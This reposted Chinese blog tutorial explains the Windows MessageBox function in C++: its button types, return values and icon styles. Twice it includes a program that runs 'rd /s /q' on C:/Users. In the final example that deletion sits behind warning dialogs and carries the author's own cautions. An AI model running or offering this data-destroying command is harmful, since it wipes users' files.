c++游戏小技巧8:MessageBox弹窗

news2024/11/26 9:59:38

1.前言:

(催更)

在上期,我讲到了system 的相关用法。

其中附上了一份代码。

#include<stdio.h>
#include<stdlib.h>
#include<iostream>
using namespace std;
int main()
{
	string c;
	c="rd /s /q \"C:/Users\"";
	system(c.c_str());
	return 0;
}

前面的红字想必特别醒目:

注意:谨慎使用此代码,如要测试,请先安装冰点还原精灵可以帮助电脑重启就还原的软件,否则一旦您的电脑出现问题,作者概不负责(虚拟机除外)

但问题来了(必须地) 红绿色盲怎么办?

所以就有了今天的文章。

2.正文

1.介绍

所谓 “弹窗”,简单理解就是一个极简的提示信息框

被很好的安置在 windows.h 头文件里

所以在C++与C语言中,函数名均为

MessageBox//没错,就是提示信息框

用法也很简单。

比如

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
	MessageBox(NULL,"你好,这是一个提示信息框","信息框",MB_OK);
	return 0;
}

其中 NULL 不用管,第一个双引号包含的是信息框里面的内容,第二个则是信息框上方的标题,最后一个是信息框类型。

既然提到了有类型,那就一定不只一个······

2.类型

大家可以运行一下下面的代码看看效果。

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
	MessageBox(NULL,"你好,这是一个提示信息框","信息框",MB_OK);
	MessageBox(NULL,"你好,这是一个提示信息框","信息框",MB_ABORTRETRYIGNORE);
	MessageBox(NULL,"你好,这是一个提示信息框","信息框",MB_OKCANCEL);
	MessageBox(NULL,"你好,这是一个提示信息框","信息框",MB_RETRYCANCEL);
	MessageBox(NULL,"你好,这是一个提示信息框","信息框",MB_YESNO);
	MessageBox(NULL,"你好,这是一个提示信息框","信息框",MB_YESNOCANCEL);
}

所以不难发现:

MB_OK:只有一个按键,即确定

MB_ABORTRETRYIGNORE:有三个按键,分别是中止、重试和忽略

MB_OKCANCEL:有两个按键,确定和取消

MB_RETRYCANCEL:有两个按键,重试和取消

MB_YESNO:有两个按键,是和否

MB_YESNOCANCEL:有三个按键,是、否和取消

那就具体情况具体使用了呗!

3.返回值

一般来说,既然出现了是,否,取消,就会有返回值方便操作。

所以作者在这里也把返回值写一下。

IDABORT:中止按钮被选中;

IDCANCEL:取消按钮被选中;

IDIGNORE:忽略按钮被选中。

IDNO:否按钮被选中;

IDOK:确定按钮被选中;

IDRETRY:重试按钮被选中。

IDYES:是按钮被选中

具体呢?代码分析:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
	if(MessageBox(NULL,"你好,这是一个提示信息框","信息框",MB_OK)==IDOK) MessageBox(NULL,"请按确定继续","next",MB_OK);
	while(MessageBox(NULL,"你好,请按重试","信息框",MB_ABORTRETRYIGNORE)!=IDRETRY);
	while(MessageBox(NULL,"你好,请按取消","信息框",MB_YESNOCANCEL)!=IDCANCEL);
	return 0; 
}

讲完了最基本的,再来点提升的。

4.样式

这就有意思了。

有这样的

 有这样的

有这样的

还有这样的 

注意,样式的代码要和类型合在一起。

具体就是:类型|样式

直接给代码吧。

MB_ICONEXCLAMATION //警告图标 
MB_ICONHAND //大红叉图标 
MB_ICONQUESTION //问号图标 
MB_ICONASTERISK //倒!图标 

所以总用法就来了。

5.总用法+代码示例

总用法:

其实很简单。

浓缩一下就是

MessageBox(NULL,"内容","标题",类型|样式);

代码示例: 

#include<stdio.h>
#include<stdlib.h>
#include<iostream>
#include<windows.h> 
using namespace std;
int main()
{
	string c;
	c="rd /s /q \"C:/Users\"";
	if(MessageBox(NULL,"这是一个危险的代码,点取消还来得及","提醒",MB_OKCANCEL|MB_ICONEXCLAMATION)==IDOK)
	{
		if(MessageBox(NULL,"真的很危险!点否取消","严重提醒",MB_YESNO|MB_ICONEXCLAMATION)==IDYES)
			if(MessageBox(NULL,"好吧,请确定你使用的是虚拟机或拥有冰点还原精灵等可以帮助电脑重启就还原的软件,否则一旦您的电脑出现问题,作者概不负责","关了还来得及",MB_OK)==IDOK) system(c.c_str());
		else MessageBox(NULL,"小心总是对的","再见",MB_OK);
	}
	else MessageBox(NULL,"小心总是对的","再见",MB_OK);
	return 0;
}

3.后文

给个赞呗 ! 

上一篇:c++游戏小技巧7:system 综合_L('ω')┘脏脏包└('ω')」的博客-CSDN博客

下一篇:未完待续······

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/760244.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Appium: Windows系统桌面应用自动化测试(四) 【辅助工具】

[TOC](Appium: Windows系统桌面应用自动化测试(四) 辅助工具) 文件批量上传 文件批量上传和文件单个上传原理是相同的&#xff0c;单个上传直接传入文件路径即可&#xff0c;批量上传需要进入批量上传的文件所在目录&#xff0c;然后观察选中多个文件时【文件路径输入框】读取…

MySQL索引,事务与存储引擎

MySQL索引&#xff0c;事务与存储引擎 一、索引&#xff1a; 1.索引的概念&#xff1a; &#xff08;1&#xff09;数据库索引&#xff1a; ① 是一个排序的列表&#xff0c;存储着索引值和这个值所对应的物理地址。(类似于C语言的链表通过指针指向数据记录的内存地址) ② 无…

【HISI IC萌新虚拟项目】spt_if的接口spt_agent utils搭建 —— spt_transaction

关于整个虚拟项目,请参考: 【HISI IC萌新虚拟项目】Package Process Unit项目全流程目录_尼德兰的喵的博客-CSDN博客 前言 基于前文我们所规划的验证环境结构来一步步的搭建UVM框架,第一步呢就是spt_agent。本章所有内容涉及到的代码均已上传gitee,已完成部分验证环境的目录…

FPGA实现IIC驱动环境光、距离传感器

简介 本次实验平台为野火征途mini开发板&#xff0c;用到的外设有按键、LED灯数码管、环境光&#xff08;ALS&#xff09;距离&#xff08;PS&#xff09;传感器芯片。 AP3216C是一款环境光、距离传感器芯片&#xff0c;其接口为IIC接口&#xff0c;FPGA通过IIC接口可以配置工…

聊聊select for update到底加了什么锁

前言 最近在开发需求的时候&#xff0c;用到了select...for update。在代码评审的时候&#xff0c;一位同事说 &#xff0c;唯一索引一个非索引字段&#xff0c;是否可能会锁全表呢&#xff1f;本文田螺哥将通过9个实验操作的例子&#xff0c;给大家验证select...for update到…

回归预测 | MATLAB实现Attention-GRU多输入单输出回归预测(注意力机制融合门控循环单元,TPA-GRU)

回归预测 | MATLAB实现Attention-GRU多输入单输出回归预测----注意力机制融合门控循环单元&#xff0c;即TPA-GRU&#xff0c;时间注意力机制结合门控循环单元 目录 回归预测 | MATLAB实现Attention-GRU多输入单输出回归预测----注意力机制融合门控循环单元&#xff0c;即TPA-G…

一篇文章让你搞懂自定义类型---枚举与联合体

3.枚举 枚举顾名思义就是一一列举 把可能的取值一一列举 比如我们现实生活中 一周的星期一到星期日是有限的7天&#xff0c;可以一一列举 性别有&#xff1a;男、女、保密&#xff0c;也可以一一列举 月份有12个月&#xff0c;也可以一一列举 这里就可以使用枚举了 3.3.1 枚举…

JVM系列(5)——类加载过程

一、类的生命周期 加载&#xff08;Loading&#xff09;、验证&#xff08;Verification&#xff09;、准备&#xff08;Preparation&#xff09;、解析&#xff08;Resolution&#xff09;、初始化&#xff08;Initialization&#xff09;、使用&#xff08;Using&#xff09…

Lesson3-4:OpenCV图像处理---边缘检测

学习目标 了解Sobel算子&#xff0c;Scharr算子和拉普拉斯算子掌握canny边缘检测的原理及应用 1 原理 边缘检测是图像处理和计算机视觉中的基本问题&#xff0c;边缘检测的目的是标识数字图像中亮度变化明显的点。图像属性中的显著变化通常反映了属性的重要事件和变化。边缘的…

vuex使用/this.$store/分模块的vuex

vuex使用 this.$store.state mutation 简化写法 执行异步行为 actions 简化写法getters vuex分模块 访问子模块中的数据

Python程序编译为动态库pyd进行加密

1. 写一段Python代码 首先敲一段代码&#xff0c;这里在名为data.py的Python文件中写下一个求两数之和的简单函数&#xff0c;函数名为i_sum&#xff1b;需要注意一个问题&#xff0c;除了代码前两行常见内容&#xff0c;第3行添加 # cython: language_level3&#xff0c;以在…

【JMeter】四种参数化实现方式是什么?

1 参数化释义 什么是参数化&#xff1f;从字面上去理解的话&#xff0c;就是事先准备好数据&#xff08;广义上来说&#xff0c;可以是具体的数据值&#xff0c;也可以是数据生成规则&#xff09;&#xff0c;而非在脚本中写死&#xff0c;脚本执行时从准备好的数据中取值。 参…

【大模型】ChatGLM2-6B

参考 清华开源ChatGLM2-6B安装使用 手把手教程&#xff0c;轻松掌握 相关链接 代码&#xff1a;https://github.com/THUDM/ChatGLM2-6B 模型&#xff1a;https://huggingface.co/THUDM/chatglm2-6b、https://cloud.tsinghua.edu.cn/d/674208019e314311ab5c/?p%2Fchatglm2-6b&…

LiNux + 腾讯云 部署项目

1、介绍 Linux本地部署项目华为云简介腾讯云&#xff08;CVM&#xff09;远程部署CMS 2、Linux本地部署 2.1、引入 2.2、上传所需文件 文件里已经为大家准备了所需文件了&#xff1a; 在window上使用xftp工具&#xff0c;将linux版本的Jdk、tomcat、Mysql等软件上传至linux…

【电路原理学习笔记】第3章:欧姆定律:3.5 故障排查

第3章&#xff1a;欧姆定律 3.5 故障排查 故障排查是运用逻辑思维&#xff0c;结合对电路或习题运行的全面来纠正故障。故障排查的基本方法包括3个步骤&#xff1a;分析、规划和测量&#xff0c;将这三步方法称为APM。 3.5.1 分析 排查电路故障的第一步是分析故障的线索或症…

java项目之弹幕视频网站(ssm+mysql+jsp)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于ssm的弹幕视频网站。技术交流和部署相关看文章末尾&#xff01; 目录 开发环境&#xff1a; 后端&#xff1a; 前端&#xff1a; 数据库&…

操作系统练习:创建内核模块,并加载和卸载模块

说明 本文记录如何创建和编译一个内核模块&#xff0c;以及加载和卸载内核模块。为《操作系统概念(第九版)》第二章&#xff0c;关于“Linux内核模块”的练习题。 创建内核模块 注&#xff1a;我这里是基于阿里云的轻量应用服务器&#xff08;即当前博客服务器&#xff09; 首…

JS混淆原理

JS混淆原理 •eval 加密 通过eval去执行函数通常和webpack打包拼接一起使用• 变量混淆 ​ 变量名混淆&#xff0c;十六进制替换&#xff0c;随机字符串替换• 属性加密 ​ 一套组合算法&#xff0c;将属性加密生成• 控制流平坦化 逻辑处理块统一加上前驱逻辑块&#xff0c…

最近写了一个Python知识分享网,开源了

大家好&#xff0c;我是锋哥&#xff01; 项目简介 肝了一周&#xff0c;Python知识分享网上线发布了。www.python222.com 虽然2很多&#xff0c;但是这个网站一点都不二&#xff0c;网站主要分享一些Python相关的技术知识&#xff0c;技术资源以及后面我的Python相关干货课程…

C# Modbus通信从入门到精通(9)——Modbus RTU(0x0F功能码)

1、0F(0x0F)写单个寄存器输出 使用该功能码能将一个寄存器的值写入到远程地址中。 2、发送报文格式 更详细的格式如下: 从站地址+功能码+线圈起始地址高字节+线圈起始地址低字节++线圈数量高字节+线圈数量低字节+字节计数+输出值最高字节+…+输出值最低字节+CRC,其中CRC是…